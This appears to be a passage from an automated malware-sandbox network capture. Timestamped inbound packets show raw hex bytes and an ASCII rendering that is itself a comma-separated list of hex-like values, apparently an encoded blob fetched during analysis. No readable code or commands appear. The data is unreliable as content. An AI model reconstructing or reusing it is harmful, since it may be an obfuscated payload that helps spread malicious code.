2023-04-20 23:04:22 UTC	8365	IN	Data Raw: 2c 66 66 2c 64 39 2c 62 39 2c 62 38 2c 38 37 2c 65 64 2c 39 65 2c 66 35 2c 31 31 65 2c 38 63 2c 31 30 65 2c 65 34 2c 61 39 2c 36 36 2c 31 30 38 2c 62 64 2c 39 34 2c 31 32 34 2c 37 38 2c 62 30 2c 35 62 2c 31 35 34 2c 31 32 39 2c 31 33 32 2c 63 64 2c 61 38 2c 62 33 2c 65 65 2c 61 63 2c 37 38 2c 31 32 32 2c 37 65 2c 34 34 2c 31 33 38 2c 39 32 2c 31 36 66 2c 31 32 61 2c 38 39 2c 63 63 2c 35 37 2c 38 65 2c 31 31 63 2c 64 30 2c 31 31 66 2c 61 65 2c 31 33 61 2c 31 30 30 2c 33 64 2c 31 31 32 2c 31 30 65 2c 65 66 2c 39 64 2c 31 33 62 2c 37 63 2c 35 62 2c 63 38 2c 63 34 2c 31 34 32 2c 38 62 2c 31 32 37 2c 31 34 63 2c 66 61 2c 31 33 32 2c 62 61 2c 31 32 38 2c 31 35 31 2c 62 62 2c 31 35 37 2c 31 32 35 2c 31 30 34 2c 31 32 62 2c 62 39 2c 31 32 35 2c 64 31 2c 31 31 31 Data Ascii: ,ff,d9,b9,b8,87,ed,9e,f5,11e,8c,10e,e4,a9,66,108,bd,94,124,78,b0,5b,154,129,132,cd,a8,b3,ee,ac,78,122,7e,44,138,92,16f,12a,89,cc,57,8e,11c,d0,11f,ae,13a,100,3d,112,10e,ef,9d,13b,7c,5b,c8,c4,142,8b,127,14c,fa,132,ba,128,151,bb,157,125,104,12b,b9,125,d1,111
2023-04-20 23:04:22 UTC	8381	IN	Data Raw: 31 33 39 2c 33 33 2c 64 61 2c 37 61 2c 31 31 32 2c 63 33 2c 66 33 2c 33 36 2c 31 30 64 2c 31 33 36 2c 31 30 62 2c 66 31 2c 63 34 2c 66 65 2c 36 63 2c 31 31 32 2c 38 65 2c 63 37 2c 38 36 2c 65 34 2c 36 38 2c 31 30 38 2c 63 34 2c 33 62 2c 39 30 2c 31 32 30 2c 65 33 2c 62 32 2c 64 31 2c 36 39 2c 64 61 2c 31 32 39 2c 39 63 2c 35 33 2c 31 31 66 2c 35 61 2c 66 30 2c 36 39 2c 37 34 2c 66 30 2c 31 32 64 2c 31 32 64 2c 31 32 66 2c 31 35 34 2c 31 35 38 2c 38 33 2c 61 65 2c 31 32 31 2c 64 34 2c 31 34 37 2c 31 33 61 2c 38 66 2c 38 32 2c 63 66 2c 35 38 2c 62 37 2c 39 63 2c 31 33 31 2c 31 30 37 2c 31 34 37 2c 36 37 2c 36 66 2c 35 36 2c 61 35 2c 36 39 2c 34 34 2c 63 33 2c 37 38 2c 64 32 2c 36 64 2c 62 32 2c 66 63 2c 65 65 2c 36 33 2c 63 66 2c 37 37 2c 39 39 2c 31 30 37 Data Ascii: 139,33,da,7a,112,c3,f3,36,10d,136,10b,f1,c4,fe,6c,112,8e,c7,86,e4,68,108,c4,3b,90,120,e3,b2,d1,69,da,129,9c,53,11f,5a,f0,69,74,f0,12d,12d,12f,154,158,83,ae,121,d4,147,13a,8f,82,cf,58,b7,9c,131,107,147,67,6f,56,a5,69,44,c3,78,d2,6d,b2,fc,ee,63,cf,77,99,107
2023-04-20 23:04:22 UTC	8397	IN	Data Raw: 31 30 39 2c 36 39 2c 64 61 2c 37 64 2c 62 62 2c 36 36 2c 34 64 2c 31 34 37 2c 65 66 2c 38 39 2c 31 34 32 2c 31 34 32 2c 63 61 2c 31 32 35 2c 65 38 2c 63 30 2c 61 36 2c 61 66 2c 31 34 36 2c 62 34 2c 63 39 2c 36 32 2c 38 36 2c 37 64 2c 35 36 2c 31 31 64 2c 31 32 38 2c 31 31 37 2c 65 62 2c 31 31 64 2c 62 38 2c 64 61 2c 65 32 2c 37 66 2c 66 34 2c 65 63 2c 63 63 2c 61 37 2c 37 62 2c 37 33 2c 39 66 2c 31 31 38 2c 31 35 35 2c 31 34 32 2c 63 36 2c 31 32 37 2c 62 62 2c 38 34 2c 62 33 2c 31 30 30 2c 31 36 64 2c 31 30 34 2c 65 62 2c 31 30 39 2c 37 62 2c 35 36 2c 39 36 2c 36 33 2c 31 31 64 2c 39 33 2c 31 32 61 2c 62 34 2c 39 38 2c 64 34 2c 65 33 2c 36 61 2c 35 39 2c 64 64 2c 36 33 2c 64 31 2c 64 66 2c 31 30 64 2c 37 39 2c 63 34 2c 36 66 2c 36 37 2c 38 37 2c 31 30 65 Data Ascii: 109,69,da,7d,bb,66,4d,147,ef,89,142,142,ca,125,e8,c0,a6,af,146,b4,c9,62,86,7d,56,11d,128,117,eb,11d,b8,da,e2,7f,f4,ec,cc,a7,7b,73,9f,118,155,142,c6,127,bb,84,b3,100,16d,104,eb,109,7b,56,96,63,11d,93,12a,b4,98,d4,e3,6a,59,dd,63,d1,df,10d,79,c4,6f,67,87,10e
2023-04-20 23:04:22 UTC	8413	IN	Data Raw: 38 63 2c 61 33 2c 31 31 61 2c 31 31 61 2c 38 39 2c 31 30 34 2c 64 33 2c 66 35 2c 31 32 61 2c 61 35 2c 64 64 2c 65 65 2c 39 31 2c 38 31 2c 31 34 34 2c 39 62 2c 38 65 2c 31 34 66 2c 62 63 2c 62 38 2c 64 33 2c 38 30 2c 61 62 2c 31 31 39 2c 36 38 2c 31 35 31 2c 34 63 2c 35 34 2c 61 35 2c 31 31 37 2c 61 37 2c 31 36 62 2c 38 34 2c 62 66 2c 37 30 2c 31 32 36 2c 31 32 37 2c 62 61 2c 31 32 34 2c 62 64 2c 37 61 2c 31 34 62 2c 37 31 2c 62 30 2c 37 35 2c 35 32 2c 36 62 2c 31 32 65 2c 31 33 32 2c 66 38 2c 64 35 2c 64 31 2c 31 33 32 2c 65 66 2c 31 30 30 2c 64 66 2c 31 32 33 2c 36 30 2c 62 62 2c 33 63 2c 63 30 2c 61 36 2c 36 31 2c 62 35 2c 38 63 2c 31 34 30 2c 63 37 2c 31 30 65 2c 31 34 32 2c 31 32 61 2c 35 35 2c 65 39 2c 61 34 2c 66 36 2c 66 32 2c 63 64 2c 64 37 2c 33 Data Ascii: 8c,a3,11a,11a,89,104,d3,f5,12a,a5,dd,ee,91,81,144,9b,8e,14f,bc,b8,d3,80,ab,119,68,151,4c,54,a5,117,a7,16b,84,bf,70,126,127,ba,124,bd,7a,14b,71,b0,75,52,6b,12e,132,f8,d5,d1,132,ef,100,df,123,60,bb,3c,c0,a6,61,b5,8c,140,c7,10e,142,12a,55,e9,a4,f6,f2,cd,d7,3
2023-04-20 23:04:22 UTC	8429	IN	Data Raw: 35 61 2c 31 33 61 2c 61 37 2c 31 30 39 2c 31 31 64 2c 35 38 2c 61 61 2c 35 63 2c 31 33 39 2c 62 64 2c 31 35 37 2c 37 35 2c 66 61 2c 31 34 39 2c 36 65 2c 35 61 2c 61 33 2c 31 32 62 2c 31 33 62 2c 35 63 2c 66 37 2c 66 64 2c 31 35 65 2c 36 61 2c 62 61 2c 31 30 35 2c 37 37 2c 31 35 61 2c 61 66 2c 36 61 2c 35 62 2c 65 63 2c 39 35 2c 31 31 66 2c 39 31 2c 31 31 66 2c 31 34 33 2c 31 31 63 2c 39 33 2c 39 37 2c 31 32 30 2c 63 30 2c 62 32 2c 63 64 2c 31 30 61 2c 31 33 66 2c 66 33 2c 65 31 2c 31 34 32 2c 65 64 2c 31 35 65 2c 62 32 2c 63 66 2c 31 30 33 2c 31 34 63 2c 31 30 63 2c 65 64 2c 37 30 2c 31 35 35 2c 31 33 64 2c 31 33 39 2c 31 30 37 2c 31 30 62 2c 65 38 2c 39 30 2c 31 34 35 2c 31 34 31 2c 62 36 2c 36 39 2c 65 34 2c 31 35 30 2c 65 63 2c 36 34 2c 31 32 39 2c 62 Data Ascii: 5a,13a,a7,109,11d,58,aa,5c,139,bd,157,75,fa,149,6e,5a,a3,12b,13b,5c,f7,fd,15e,6a,ba,105,77,15a,af,6a,5b,ec,95,11f,91,11f,143,11c,93,97,120,c0,b2,cd,10a,13f,f3,e1,142,ed,15e,b2,cf,103,14c,10c,ed,70,155,13d,139,107,10b,e8,90,145,141,b6,69,e4,150,ec,64,129,b
2023-04-20 23:04:22 UTC	8445	IN	Data Raw: 31 36 33 2c 31 30 66 2c 64 63 2c 39 34 2c 31 36 63 2c 37 39 2c 36 37 2c 37 38 2c 31 34 66 2c 65 35 2c 66 62 2c 64 39 2c 64 37 2c 31 31 32 2c 37 66 2c 31 35 63 2c 66 33 2c 61 64 2c 37 31 2c 31 30 64 2c 31 33 65 2c 31 30 35 2c 36 62 2c 31 35 39 2c 31 34 34 2c 31 33 63 2c 63 30 2c 31 30 33 2c 65 64 2c 64 34 2c 31 32 35 2c 31 33 30 2c 31 36 38 2c 31 30 39 2c 64 33 2c 39 61 2c 63 30 2c 63 66 2c 62 37 2c 61 64 2c 31 32 38 2c 39 33 2c 31 30 65 2c 61 31 2c 35 62 2c 62 34 2c 31 36 33 2c 31 31 65 2c 35 38 2c 39 64 2c 65 32 2c 36 35 2c 31 35 32 2c 36 37 2c 31 33 39 2c 64 65 2c 31 32 31 2c 63 31 2c 33 64 2c 31 30 32 2c 39 66 2c 31 30 31 2c 31 30 35 2c 31 32 31 2c 65 34 2c 62 64 2c 31 30 36 2c 63 35 2c 61 38 2c 37 63 2c 31 31 34 2c 63 36 2c 65 31 2c 31 31 62 2c 65 64 Data Ascii: 163,10f,dc,94,16c,79,67,78,14f,e5,fb,d9,d7,112,7f,15c,f3,ad,71,10d,13e,105,6b,159,144,13c,c0,103,ed,d4,125,130,168,109,d3,9a,c0,cf,b7,ad,128,93,10e,a1,5b,b4,163,11e,58,9d,e2,65,152,67,139,de,121,c1,3d,102,9f,101,105,121,e4,bd,106,c5,a8,7c,114,c6,e1,11b,ed
2023-04-20 23:04:22 UTC	8461	IN	Data Raw: 63 66 2c 36 62 2c 39 34 2c 31 31 31 2c 31 32 66 2c 31 30 39 2c 31 34 61 2c 31 33 64 2c 65 35 2c 34 66 2c 31 32 35 2c 61 30 2c 31 35 33 2c 64 31 2c 31 33 30 2c 39 30 2c 61 65 2c 39 36 2c 31 35 31 2c 62 35 2c 31 33 37 2c 31 35 38 2c 31 31 32 2c 65 36 2c 65 38 2c 61 35 2c 31 31 66 2c 66 34 2c 31 30 39 2c 38 37 2c 62 63 2c 35 65 2c 63 65 2c 33 31 2c 31 35 36 2c 33 66 2c 34 39 2c 62 32 2c 31 33 32 2c 38 37 2c 31 31 38 2c 63 31 2c 31 33 62 2c 65 39 2c 31 30 38 2c 61 64 2c 63 66 2c 31 32 37 2c 31 31 35 2c 62 39 2c 37 39 2c 37 32 2c 31 32 39 2c 65 64 2c 31 34 64 2c 31 33 38 2c 35 37 2c 62 35 2c 31 32 32 2c 33 32 2c 31 31 64 2c 63 33 2c 31 30 35 2c 65 65 2c 66 66 2c 64 63 2c 38 61 2c 62 31 2c 36 37 2c 63 33 2c 31 31 39 2c 63 31 2c 38 61 2c 65 64 2c 66 36 2c 31 34 Data Ascii: cf,6b,94,111,12f,109,14a,13d,e5,4f,125,a0,153,d1,130,90,ae,96,151,b5,137,158,112,e6,e8,a5,11f,f4,109,87,bc,5e,ce,31,156,3f,49,b2,132,87,118,c1,13b,e9,108,ad,cf,127,115,b9,79,72,129,ed,14d,138,57,b5,122,32,11d,c3,105,ee,ff,dc,8a,b1,67,c3,119,c1,8a,ed,f6,14
2023-04-20 23:04:22 UTC	8477	IN	Data Raw: 2c 31 35 36 2c 31 35 38 2c 39 63 2c 64 37 2c 64 31 2c 61 66 2c 39 63 2c 31 32 33 2c 62 32 2c 31 35 35 2c 61 61 2c 61 30 2c 31 34 34 2c 39 35 2c 36 35 2c 62 31 2c 31 31 62 2c 64 39 2c 34 65 2c 63 34 2c 31 36 34 2c 34 32 2c 31 32 32 2c 31 32 62 2c 37 61 2c 31 35 35 2c 31 31 61 2c 65 63 2c 61 34 2c 31 30 30 2c 36 32 2c 65 64 2c 31 35 61 2c 31 33 62 2c 37 64 2c 31 30 65 2c 31 35 31 2c 31 32 36 2c 39 62 2c 31 34 32 2c 31 32 63 2c 62 36 2c 64 37 2c 66 61 2c 35 36 2c 61 35 2c 35 61 2c 31 34 37 2c 62 64 2c 37 33 2c 63 36 2c 31 32 62 2c 37 30 2c 31 30 36 2c 35 63 2c 31 31 37 2c 31 35 66 2c 31 32 38 2c 35 62 2c 66 35 2c 31 35 39 2c 64 65 2c 39 33 2c 65 63 2c 31 33 63 2c 31 32 38 2c 38 62 2c 31 30 32 2c 31 33 36 2c 31 30 34 2c 39 37 2c 31 32 32 2c 31 31 64 2c 31 34 Data Ascii: ,156,158,9c,d7,d1,af,9c,123,b2,155,aa,a0,144,95,65,b1,11b,d9,4e,c4,164,42,122,12b,7a,155,11a,ec,a4,100,62,ed,15a,13b,7d,10e,151,126,9b,142,12c,b6,d7,fa,56,a5,5a,147,bd,73,c6,12b,70,106,5c,117,15f,128,5b,f5,159,de,93,ec,13c,128,8b,102,136,104,97,122,11d,14
2023-04-20 23:04:22 UTC	8493	IN	Data Raw: 30 2c 64 36 2c 31 30 62 2c 31 33 33 2c 36 38 2c 38 31 2c 31 35 39 2c 61 63 2c 64 66 2c 31 30 30 2c 31 33 65 2c 31 33 32 2c 31 33 34 2c 65 37 2c 31 32 30 2c 64 61 2c 39 65 2c 66 62 2c 62 33 2c 66 65 2c 31 30 61 2c 37 38 2c 31 30 36 2c 31 32 37 2c 31 35 63 2c 64 63 2c 31 33 63 2c 36 35 2c 63 61 2c 65 65 2c 66 62 2c 62 34 2c 31 32 32 2c 63 36 2c 35 35 2c 62 63 2c 31 35 31 2c 39 37 2c 62 66 2c 61 64 2c 31 33 63 2c 63 39 2c 62 39 2c 31 37 34 2c 31 34 38 2c 37 33 2c 64 35 2c 66 33 2c 31 34 66 2c 65 63 2c 37 36 2c 31 36 36 2c 31 34 34 2c 31 34 35 2c 35 32 2c 31 35 35 2c 31 32 39 2c 62 61 2c 31 31 36 2c 31 31 64 2c 31 32 61 2c 31 30 39 2c 31 31 34 2c 66 34 2c 31 35 39 2c 39 31 2c 31 34 36 2c 31 30 63 2c 31 31 38 2c 31 34 61 2c 31 30 62 2c 66 31 2c 61 31 2c 62 38 Data Ascii: 0,d6,10b,133,68,81,159,ac,df,100,13e,132,134,e7,120,da,9e,fb,b3,fe,10a,78,106,127,15c,dc,13c,65,ca,ee,fb,b4,122,c6,55,bc,151,97,bf,ad,13c,c9,b9,174,148,73,d5,f3,14f,ec,76,166,144,145,52,155,129,ba,116,11d,12a,109,114,f4,159,91,146,10c,118,14a,10b,f1,a1,b8
2023-04-20 23:04:22 UTC	8509	IN	Data Raw: 61 33 2c 31 36 38 2c 36 35 2c 62 66 2c 36 37 2c 31 34 37 2c 65 36 2c 34 63 2c 65 34 2c 66 66 2c 31 30 62 2c 64 62 2c 31 33 66 2c 31 31 33 2c 31 32 39 2c 64 65 2c 37 66 2c 37 35 2c 39 32 2c 31 33 36 2c 64 35 2c 63 35 2c 31 32 30 2c 66 64 2c 38 37 2c 64 64 2c 39 37 2c 31 32 35 2c 31 34 30 2c 35 39 2c 63 32 2c 65 31 2c 64 61 2c 37 61 2c 65 64 2c 66 63 2c 35 64 2c 31 34 32 2c 31 34 61 2c 62 35 2c 61 35 2c 31 32 34 2c 31 31 37 2c 65 62 2c 65 33 2c 39 63 2c 31 31 66 2c 31 30 38 2c 31 31 34 2c 31 30 62 2c 63 39 2c 31 32 61 2c 36 66 2c 31 32 31 2c 35 61 2c 61 35 2c 62 31 2c 31 34 36 2c 64 65 2c 66 36 2c 65 32 2c 33 33 2c 66 62 2c 31 33 65 2c 36 31 2c 31 36 64 2c 31 31 30 2c 31 34 37 2c 61 61 2c 31 34 35 2c 31 35 37 2c 34 33 2c 39 66 2c 37 38 2c 64 63 2c 61 38 2c Data Ascii: a3,168,65,bf,67,147,e6,4c,e4,ff,10b,db,13f,113,129,de,7f,75,92,136,d5,c5,120,fd,87,dd,97,125,140,59,c2,e1,da,7a,ed,fc,5d,142,14a,b5,a5,124,117,eb,e3,9c,11f,108,114,10b,c9,12a,6f,121,5a,a5,b1,146,de,f6,e2,33,fb,13e,61,16d,110,147,aa,145,157,43,9f,78,dc,a8,
2023-04-20 23:04:22 UTC	8525	IN	Data Raw: 38 2c 31 30 31 2c 31 33 65 2c 65 30 2c 36 61 2c 31 35 31 2c 38 30 2c 31 34 33 2c 65 66 2c 64 63 2c 35 63 2c 31 30 31 2c 65 63 2c 61 38 2c 31 32 65 2c 31 32 34 2c 66 31 2c 35 33 2c 65 35 2c 31 34 30 2c 37 35 2c 31 35 63 2c 64 63 2c 66 35 2c 64 64 2c 39 30 2c 63 37 2c 31 33 30 2c 38 33 2c 66 33 2c 64 31 2c 66 64 2c 64 31 2c 66 34 2c 31 32 66 2c 66 34 2c 31 35 61 2c 31 35 35 2c 34 30 2c 61 61 2c 36 62 2c 31 31 34 2c 37 34 2c 31 32 61 2c 31 35 65 2c 65 63 2c 61 61 2c 37 33 2c 37 30 2c 31 31 37 2c 31 33 65 2c 65 37 2c 64 37 2c 61 34 2c 31 33 30 2c 36 63 2c 39 62 2c 31 30 63 2c 37 63 2c 31 31 34 2c 35 62 2c 31 31 34 2c 31 31 38 2c 38 64 2c 61 33 2c 31 31 33 2c 61 30 2c 31 32 32 2c 31 34 33 2c 61 64 2c 31 30 63 2c 62 30 2c 66 62 2c 64 33 2c 37 31 2c 31 31 34 2c Data Ascii: 8,101,13e,e0,6a,151,80,143,ef,dc,5c,101,ec,a8,12e,124,f1,53,e5,140,75,15c,dc,f5,dd,90,c7,130,83,f3,d1,fd,d1,f4,12f,f4,15a,155,40,aa,6b,114,74,12a,15e,ec,aa,73,70,117,13e,e7,d7,a4,130,6c,9b,10c,7c,114,5b,114,118,8d,a3,113,a0,122,143,ad,10c,b0,fb,d3,71,114,
2023-04-20 23:04:22 UTC	8541	IN	Data Raw: 2c 37 35 2c 31 37 32 2c 65 32 2c 61 31 2c 35 66 2c 31 33 65 2c 31 34 31 2c 66 35 2c 61 30 2c 36 66 2c 31 35 64 2c 31 33 38 2c 62 64 2c 66 37 2c 31 34 61 2c 64 34 2c 35 63 2c 35 38 2c 36 39 2c 31 35 31 2c 36 64 2c 31 31 33 2c 31 32 38 2c 63 31 2c 37 66 2c 63 38 2c 31 31 61 2c 36 39 2c 34 38 2c 66 65 2c 37 34 2c 38 36 2c 31 34 31 2c 31 34 30 2c 36 66 2c 31 31 34 2c 65 64 2c 31 36 35 2c 64 35 2c 38 63 2c 31 34 38 2c 31 33 61 2c 64 33 2c 31 31 36 2c 34 64 2c 31 31 63 2c 64 65 2c 34 61 2c 34 66 2c 31 30 31 2c 31 33 34 2c 63 66 2c 31 34 37 2c 39 33 2c 31 32 36 2c 62 35 2c 39 34 2c 63 37 2c 31 34 32 2c 65 36 2c 31 34 35 2c 65 30 2c 39 36 2c 66 31 2c 37 32 2c 38 36 2c 31 30 39 2c 31 30 34 2c 64 39 2c 31 32 62 2c 63 38 2c 65 66 2c 64 61 2c 31 32 63 2c 31 30 64 2c Data Ascii: ,75,172,e2,a1,5f,13e,141,f5,a0,6f,15d,138,bd,f7,14a,d4,5c,58,69,151,6d,113,128,c1,7f,c8,11a,69,48,fe,74,86,141,140,6f,114,ed,165,d5,8c,148,13a,d3,116,4d,11c,de,4a,4f,101,134,cf,147,93,126,b5,94,c7,142,e6,145,e0,96,f1,72,86,109,104,d9,12b,c8,ef,da,12c,10d,
2023-04-20 23:04:22 UTC	8557	IN	Data Raw: 66 65 2c 36 36 2c 31 33 39 2c 37 31 2c 64 65 2c 31 30 38 2c 65 31 2c 37 66 2c 31 34 65 2c 62 30 2c 31 34 66 2c 31 31 35 2c 61 36 2c 39 65 2c 39 32 2c 35 63 2c 62 36 2c 37 35 2c 61 31 2c 31 35 31 2c 66 36 2c 39 39 2c 31 37 33 2c 37 32 2c 64 32 2c 38 32 2c 64 39 2c 31 32 65 2c 37 65 2c 31 34 35 2c 37 62 2c 31 34 34 2c 31 33 31 2c 63 64 2c 61 36 2c 66 39 2c 39 30 2c 62 33 2c 64 33 2c 31 33 64 2c 31 32 63 2c 65 65 2c 31 37 32 2c 31 34 33 2c 38 39 2c 31 30 33 2c 62 37 2c 31 30 63 2c 36 37 2c 31 33 62 2c 64 35 2c 64 64 2c 31 33 38 2c 31 31 31 2c 61 34 2c 66 61 2c 31 31 62 2c 36 39 2c 61 39 2c 31 34 30 2c 38 66 2c 64 34 2c 64 35 2c 39 34 2c 31 30 62 2c 36 32 2c 65 66 2c 31 32 37 2c 31 35 30 2c 31 33 64 2c 66 39 2c 31 33 64 2c 36 65 2c 31 37 33 2c 31 32 33 2c 62 Data Ascii: fe,66,139,71,de,108,e1,7f,14e,b0,14f,115,a6,9e,92,5c,b6,75,a1,151,f6,99,173,72,d2,82,d9,12e,7e,145,7b,144,131,cd,a6,f9,90,b3,d3,13d,12c,ee,172,143,89,103,b7,10c,67,13b,d5,dd,138,111,a4,fa,11b,69,a9,140,8f,d4,d5,94,10b,62,ef,127,150,13d,f9,13d,6e,173,123,b
2023-04-20 23:04:22 UTC	8573	IN	Data Raw: 30 32 2c 39 35 2c 31 30 38 2c 37 31 2c 65 34 2c 36 39 2c 38 34 2c 62 32 2c 64 39 2c 63 37 2c 36 31 2c 61 62 2c 39 30 2c 31 31 64 2c 31 30 30 2c 34 39 2c 61 61 2c 63 36 2c 61 34 2c 39 34 2c 31 34 64 2c 31 31 62 2c 62 61 2c 38 35 2c 31 34 30 2c 35 64 2c 39 38 2c 64 32 2c 64 61 2c 63 31 2c 39 64 2c 31 30 65 2c 36 66 2c 32 66 2c 61 39 2c 36 63 2c 61 64 2c 31 31 64 2c 63 61 2c 34 32 2c 31 34 66 2c 39 37 2c 36 39 2c 65 35 2c 31 30 64 2c 37 31 2c 31 30 31 2c 61 64 2c 31 34 33 2c 31 31 38 2c 66 62 2c 61 38 2c 31 31 36 2c 65 64 2c 38 63 2c 64 30 2c 31 33 63 2c 38 65 2c 31 33 30 2c 31 30 30 2c 65 30 2c 65 37 2c 31 32 30 2c 66 31 2c 31 33 61 2c 63 62 2c 31 31 34 2c 31 30 33 2c 31 32 33 2c 66 35 2c 64 31 2c 62 63 2c 31 32 33 2c 35 62 2c 61 64 2c 37 66 2c 36 39 2c 64 Data Ascii: 02,95,108,71,e4,69,84,b2,d9,c7,61,ab,90,11d,100,49,aa,c6,a4,94,14d,11b,ba,85,140,5d,98,d2,da,c1,9d,10e,6f,2f,a9,6c,ad,11d,ca,42,14f,97,69,e5,10d,71,101,ad,143,118,fb,a8,116,ed,8c,d0,13c,8e,130,100,e0,e7,120,f1,13a,cb,114,103,123,f5,d1,bc,123,5b,ad,7f,69,d
2023-04-20 23:04:22 UTC	8589	IN	Data Raw: 31 30 64 2c 39 31 2c 64 39 2c 35 38 2c 31 31 65 2c 38 32 2c 65 62 2c 31 31 64 2c 63 66 2c 66 33 2c 31 32 35 2c 33 37 2c 31 32 32 2c 38 62 2c 65 65 2c 66 64 2c 39 34 2c 34 38 2c 31 32 39 2c 31 31 34 2c 61 65 2c 66 64 2c 64 66 2c 37 31 2c 31 35 30 2c 61 32 2c 31 32 64 2c 66 31 2c 61 64 2c 66 66 2c 31 35 30 2c 31 30 65 2c 31 33 62 2c 64 38 2c 31 34 33 2c 31 33 39 2c 65 32 2c 39 30 2c 31 33 31 2c 64 36 2c 62 34 2c 31 30 63 2c 63 63 2c 39 39 2c 62 30 2c 65 37 2c 63 39 2c 61 36 2c 31 31 37 2c 64 35 2c 65 32 2c 38 61 2c 38 34 2c 31 35 32 2c 64 34 2c 39 37 2c 63 33 2c 66 64 2c 65 33 2c 61 34 2c 31 36 37 2c 31 30 36 2c 38 65 2c 61 63 2c 31 30 64 2c 37 36 2c 35 34 2c 31 30 37 2c 36 33 2c 62 36 2c 65 64 2c 61 61 2c 35 63 2c 31 32 31 2c 38 32 2c 62 31 2c 31 30 33 2c Data Ascii: 10d,91,d9,58,11e,82,eb,11d,cf,f3,125,37,122,8b,ee,fd,94,48,129,114,ae,fd,df,71,150,a2,12d,f1,ad,ff,150,10e,13b,d8,143,139,e2,90,131,d6,b4,10c,cc,99,b0,e7,c9,a6,117,d5,e2,8a,84,152,d4,97,c3,fd,e3,a4,167,106,8e,ac,10d,76,54,107,63,b6,ed,aa,5c,121,82,b1,103,
2023-04-20 23:04:22 UTC	8605	IN	Data Raw: 38 2c 63 37 2c 39 37 2c 31 35 62 2c 66 65 2c 36 62 2c 61 61 2c 31 31 65 2c 31 32 35 2c 31 33 30 2c 61 36 2c 38 32 2c 66 35 2c 31 32 61 2c 64 30 2c 31 33 64 2c 31 34 37 2c 64 61 2c 61 66 2c 65 38 2c 31 37 34 2c 63 36 2c 63 33 2c 31 32 36 2c 61 66 2c 31 30 32 2c 65 31 2c 37 62 2c 31 30 37 2c 36 66 2c 31 32 38 2c 65 66 2c 31 30 65 2c 66 31 2c 62 39 2c 65 32 2c 65 35 2c 31 33 64 2c 31 32 65 2c 31 30 32 2c 31 34 64 2c 31 33 34 2c 31 31 61 2c 31 34 31 2c 66 38 2c 63 65 2c 64 36 2c 31 34 34 2c 31 34 65 2c 39 30 2c 39 36 2c 63 36 2c 64 66 2c 31 34 37 2c 62 62 2c 36 33 2c 61 63 2c 31 36 30 2c 66 61 2c 36 35 2c 31 32 36 2c 31 30 30 2c 37 31 2c 65 30 2c 63 34 2c 37 63 2c 31 33 30 2c 31 32 65 2c 34 62 2c 62 34 2c 31 31 31 2c 65 35 2c 31 30 31 2c 31 33 33 2c 64 61 2c Data Ascii: 8,c7,97,15b,fe,6b,aa,11e,125,130,a6,82,f5,12a,d0,13d,147,da,af,e8,174,c6,c3,126,af,102,e1,7b,107,6f,128,ef,10e,f1,b9,e2,e5,13d,12e,102,14d,134,11a,141,f8,ce,d6,144,14e,90,96,c6,df,147,bb,63,ac,160,fa,65,126,100,71,e0,c4,7c,130,12e,4b,b4,111,e5,101,133,da,
2023-04-20 23:04:22 UTC	8621	IN	Data Raw: 31 66 2c 39 36 2c 66 35 2c 31 35 32 2c 39 37 2c 38 30 2c 31 32 34 2c 31 37 37 2c 31 35 32 2c 31 31 32 2c 63 39 2c 63 64 2c 34 62 2c 37 37 2c 62 64 2c 31 34 61 2c 66 61 2c 31 33 36 2c 31 36 36 2c 31 30 37 2c 31 35 38 2c 65 35 2c 36 34 2c 61 32 2c 62 33 2c 61 30 2c 37 61 2c 35 62 2c 63 33 2c 62 38 2c 31 32 38 2c 31 30 64 2c 31 34 38 2c 31 30 33 2c 31 30 39 2c 64 39 2c 39 32 2c 31 32 32 2c 31 33 65 2c 31 35 39 2c 31 32 64 2c 63 65 2c 35 38 2c 66 65 2c 39 38 2c 31 33 62 2c 66 39 2c 36 65 2c 31 30 64 2c 31 35 31 2c 31 31 30 2c 62 34 2c 65 65 2c 31 35 36 2c 37 66 2c 65 39 2c 36 66 2c 62 64 2c 63 36 2c 62 37 2c 34 66 2c 39 36 2c 31 32 38 2c 37 36 2c 31 30 30 2c 38 35 2c 31 32 38 2c 61 30 2c 65 64 2c 63 36 2c 31 32 31 2c 31 36 32 2c 63 32 2c 31 34 65 2c 66 30 2c Data Ascii: 1f,96,f5,152,97,80,124,177,152,112,c9,cd,4b,77,bd,14a,fa,136,166,107,158,e5,64,a2,b3,a0,7a,5b,c3,b8,128,10d,148,103,109,d9,92,122,13e,159,12d,ce,58,fe,98,13b,f9,6e,10d,151,110,b4,ee,156,7f,e9,6f,bd,c6,b7,4f,96,128,76,100,85,128,a0,ed,c6,121,162,c2,14e,f0,
2023-04-20 23:04:22 UTC	8637	IN	Data Raw: 31 62 2c 31 34 33 2c 65 31 2c 64 33 2c 34 65 2c 61 33 2c 31 30 35 2c 35 36 2c 62 31 2c 39 37 2c 61 64 2c 34 62 2c 61 31 2c 61 30 2c 36 61 2c 61 66 2c 31 33 63 2c 31 34 38 2c 38 39 2c 37 64 2c 39 65 2c 65 30 2c 31 32 63 2c 35 35 2c 63 38 2c 31 31 37 2c 31 35 61 2c 66 66 2c 62 34 2c 62 33 2c 39 63 2c 31 34 65 2c 31 32 65 2c 63 35 2c 37 36 2c 31 30 30 2c 31 31 30 2c 39 31 2c 64 35 2c 63 38 2c 38 61 2c 31 36 30 2c 31 30 62 2c 31 31 38 2c 31 34 35 2c 37 39 2c 34 31 2c 31 34 35 2c 35 61 2c 31 30 65 2c 62 66 2c 31 34 35 2c 65 36 2c 31 31 39 2c 65 35 2c 64 66 2c 65 31 2c 31 34 66 2c 36 38 2c 31 32 35 2c 62 63 2c 35 36 2c 35 63 2c 31 33 31 2c 31 32 37 2c 63 38 2c 31 32 35 2c 61 66 2c 66 63 2c 38 31 2c 31 30 62 2c 35 65 2c 63 30 2c 31 34 33 2c 31 30 38 2c 62 39 2c Data Ascii: 1b,143,e1,d3,4e,a3,105,56,b1,97,ad,4b,a1,a0,6a,af,13c,148,89,7d,9e,e0,12c,55,c8,117,15a,ff,b4,b3,9c,14e,12e,c5,76,100,110,91,d5,c8,8a,160,10b,118,145,79,41,145,5a,10e,bf,145,e6,119,e5,df,e1,14f,68,125,bc,56,5c,131,127,c8,125,af,fc,81,10b,5e,c0,143,108,b9,
